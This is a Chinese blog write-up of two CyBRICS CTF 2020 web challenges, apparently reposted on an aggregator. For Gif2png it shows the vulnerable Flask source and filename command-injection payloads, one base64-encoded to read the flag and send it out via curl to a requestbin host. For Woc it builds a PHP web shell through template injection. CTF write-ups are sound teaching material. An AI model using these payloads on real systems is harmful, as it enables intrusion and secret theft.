zoukankan      html  css  js  c++  java
  • CyBRICS CTF 2020

    Gif2png

    import logging
    import re
    import subprocess
    import uuid
    from pathlib import Path
    
    from flask import Flask, render_template, request, redirect, url_for, flash, send_from_directory
    from flask_bootstrap import Bootstrap
    import os
    from werkzeug.utils import secure_filename
    import filetype
    
    
    ALLOWED_EXTENSIONS = {'gif'}
    
    app = Flask(__name__)
    app.config['UPLOAD_FOLDER'] = './uploads'
    app.config['SECRET_KEY'] = '********************************'
    app.config['MAX_CONTENT_LENGTH'] = 500 * 1024  # 500Kb
    ffLaG = "cybrics{********************************}"
    Bootstrap(app)
    logging.getLogger().setLevel(logging.DEBUG)
    
    def allowed_file(filename):
        return '.' in filename and filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS
    
    
    @app.route('/', methods=['GET', 'POST'])
    def upload_file():
        logging.debug(request.headers)
        if request.method == 'POST':
            if 'file' not in request.files:
                logging.debug('No file part')
                flash('No file part', 'danger')
                return redirect(request.url)
    
            file = request.files['file']
            if file.filename == '':
                logging.debug('No selected file')
                flash('No selected file', 'danger')
                return redirect(request.url)
    
            if not allowed_file(file.filename):
                logging.debug(f'Invalid file extension of file: {file.filename}')
                flash('Invalid file extension', 'danger')
                return redirect(request.url)
    
            if file.content_type != "image/gif":
                logging.debug(f'Invalid Content type: {file.content_type}')
                flash('Content type is not "image/gif"', 'danger')
                return redirect(request.url)
    
            if not bool(re.match("^[a-zA-Z0-9_-. '"=$()|]*$", file.filename)) or ".." in file.filename:
                logging.debug(f'Invalid symbols in filename: {file.content_type}')
                flash('Invalid filename', 'danger')
                return redirect(request.url)
    
            if file and allowed_file(file.filename):
                filename = secure_filename(file.filename)
                file.save(os.path.join(app.config['UPLOAD_FOLDER'], file.filename))
    
                mime_type = filetype.guess_mime(f'uploads/{file.filename}')
                if mime_type != "image/gif":
                    logging.debug(f'Invalid Mime type: {mime_type}')
                    flash('Mime type is not "image/gif"', 'danger')
                    return redirect(request.url)
    
                uid = str(uuid.uuid4())
                os.mkdir(f"uploads/{uid}")
    
                logging.debug(f"Created: {uid}. Command: ffmpeg -i 'uploads/{file.filename}' "uploads/{uid}/%03d.png"")
             
                command = subprocess.Popen(f"ffmpeg -i 'uploads/{file.filename}' "uploads/{uid}/%03d.png"", shell=True)
                command.wait(timeout=15)
                logging.debug(command.stdout)
    
                flash('Successfully saved', 'success')
                return redirect(url_for('result', uid=uid))
    
        return render_template("form.html")
    
    
    @app.route('/result/<uid>/')
    def result(uid):
        images = []
        for image in os.listdir(f"uploads/{uid}"):
            mime_type = filetype.guess(str(Path("uploads") / uid / image))
            if image.endswith(".png") and mime_type is not None and mime_type.EXTENSION == "png":
                images.append(image)
    
        return render_template("result.html", uid=uid, images=images)
    
    
    @app.route('/uploads/<uid>/<image>')
    def image(uid, image):
        logging.debug(request.headers)
        print(uid)
        dir = str(Path(app.config['UPLOAD_FOLDER']) / uid)
        return send_from_directory(dir, image)
    
    
    @app.errorhandler(413)
    def request_entity_too_large(error):
        return "File is too large", 413
    
    
    if __name__ == "__main__":
        app.run(host='localhost', port=5000, debug=False, threaded=True)
    
    

    功能就是上传一个1.gif,首先保存到uploads/1.gif,然后创建一个uuid文件夹,里面存放转换后的png,并显示出来

    emm在ffmpeg上浪费了很多时间,这里的/uploads路由在我本地环境上是能跨单个目录读取的:
    在这里插入图片描述
    但是靶机上就不行,迷...
    在这里插入图片描述
    这段转换的代码

    command = subprocess.Popen(f"ffmpeg -i 'uploads/{file.filename}' "uploads/{uid}/%03d.png"", shell=True)
    command.wait(timeout=15)
    

    filename可控(不过有过滤,只能包含:^[a-zA-Z0-9_-. '"=$()|]*$),base64绕,闭合单引号,尝试curlvps直接500,尝试dnslog

    flag=$(cat main.py|grep 'cybrics'|base64|cut -c 1-30);curl $flag.fdd53f02cd3a14119791.d.requestbin.net
    
    1.gif'||echo ZmxhZz0kKGNhdCBtYWluLnB5fGdyZXAgJ2N5YnJpY3MnfGJhc2U2NHxjdXQgLWMgMS0zMCk7Y3VybCAkZmxhZy5mZGQ1M2YwMmNkM2ExNDExOTc5MS5kLnJlcXVlc3RiaW4ubmV0 |base64 -d|sh||'1.gif
    

    在这里插入图片描述
    一部分一部分外带
    在这里插入图片描述
    还有种解法是直接将main.py复制到uploads/{uuid}/

    '$(cp main.py uploads$(pwd | cut -c1)521be2a4-ded4-4bbd-9f0f-7e6eaedf9aa7$(pwd | cut -c1))'.gif
    

    https://github.com/wetox-team/writeup/tree/master/cybrics_2020/gif2png

    #base64一下清楚一点
    1.gif'||echo Y3AgbWFpbi5weSB1cGxvYWRzLzUyMWJlMmE0LWRlZDQtNGJiZC05ZjBmLTdlNmVhZWRmOWFhNy8xLnB5 |base64 -d|sh||'1.gif
    

    在这里插入图片描述

    Woc

    有好几个计算器模板
    在这里插入图片描述
    如果有share便会为我们生成对应的php文件
    在这里插入图片描述
    在这里插入图片描述
    并且可以自己创建html计算器模板
    在这里插入图片描述
    模板中的过滤就是<?
    在这里插入图片描述
    还是先看一下模板生成php的这行:

    file_put_contents("calcs/$userid/$calc.php", "<script>var preloadValue = <?=json_encode((string)($field))?>;</script>
    " . file_get_contents("inc/calclib.html") . file_get_contents("calcs/$userid/templates/$template.html"));
    

    可见我们写入的模板会被拼接为:

    <script>var preloadValue = <?=json_encode((string)($field))?>;</script>
    

    +

    file_get_contents("inc/calclib.html")
    

    +

    file_get_contents("calcs/$userid/templates/$template.html")
    

    其中第一部分的field是我们想计算的内容,第二部分是一个默认的html,第三部分为模板,又有会将三个拼接成php,那就想办法写个shell

    首先由于模板部分过滤了<?,而第一部分中恰好有<?=,可以用/**/来注释中间的部分,所以先新建一个模板:

    <input type="text" class="part" id="field" name="field" />
                <input type="button" class="part" id="digit0" data-append="0" />
                <input type="button" class="part" id="digit1" data-append="1" />
                <input type="button" class="part" id="digit2" data-append="2" />
                <input type="button" class="part" id="digit3" data-append="3" />
                <input type="button" class="part" id="digit4" data-append="4" />
                <input type="button" class="part" id="digit5" data-append="5" />
                <input type="button" class="part" id="digit6" data-append="6" />
                <input type="button" class="part" id="digit7" data-append="7" />
                <input type="button" class="part" id="digit8" data-append="8" />
                <input type="button" class="part" id="digit9" data-append="9" />
                <input type="button" class="part" id="plus" data-append=" + " />
                <input type="button" class="part" id="minus" data-append=" - " />
                <input type="button" class="part" id="times" data-append=" * " />
                <input type="button" class="part" id="div" data-append=" / " />
                <input type="button" class="part" id="point" data-append="." />
                <input type="button" class="part" id="clear" />
                <input type="button" class="part" id="back" value="← Back" />
                <input type="submit" class="part" id="share" name="share" value="Share" />
                <input type="submit" class="part" id="equals" />
                */));eval($_GET[0]);?>
    

    后面的括号是用来闭合第一部分的两个括号的,然后令field=1+%2b+1/*
    结果就为:

    <script>var preloadValue = <?=json_encode((string)(1+1/*))?>;</script>
     ...
     ...
    <input type="submit" class="part" id="equals" />
    */));eval($_GET[0]);?>
    

    然后生成php

    POST /?p=calc&template=80c47c3d-4fef-4805-e00b-60aff4674d07
    
    field=1+%2b+1*&share=1
    

    在这里插入图片描述

  • 相关阅读:
    docker-compose 快速部署Prometheus,监控docker 容器, 宿主机,ceph -- cluster集群
    docker-jenkins SSH Publishers时踩的坑
    docker-compose 修改zabbix images 添加微信报警插件 时间同步 中文乱码 添加grafana美化zabbix
    docker-compose 快速部署持续集成测试环境 Gitlab+Harbor+Jenkins pipeline 实现 tag run docker Images
    WEB程序开发基础·JSP的基本语法
    FIFO 与O_NOBLOCK
    投影
    信号量、互斥锁和条件变量的区别
    python装饰器
    python 生成器
  • 原文地址:https://www.cnblogs.com/W4nder/p/13520118.html
Copyright © 2011-2022 走看看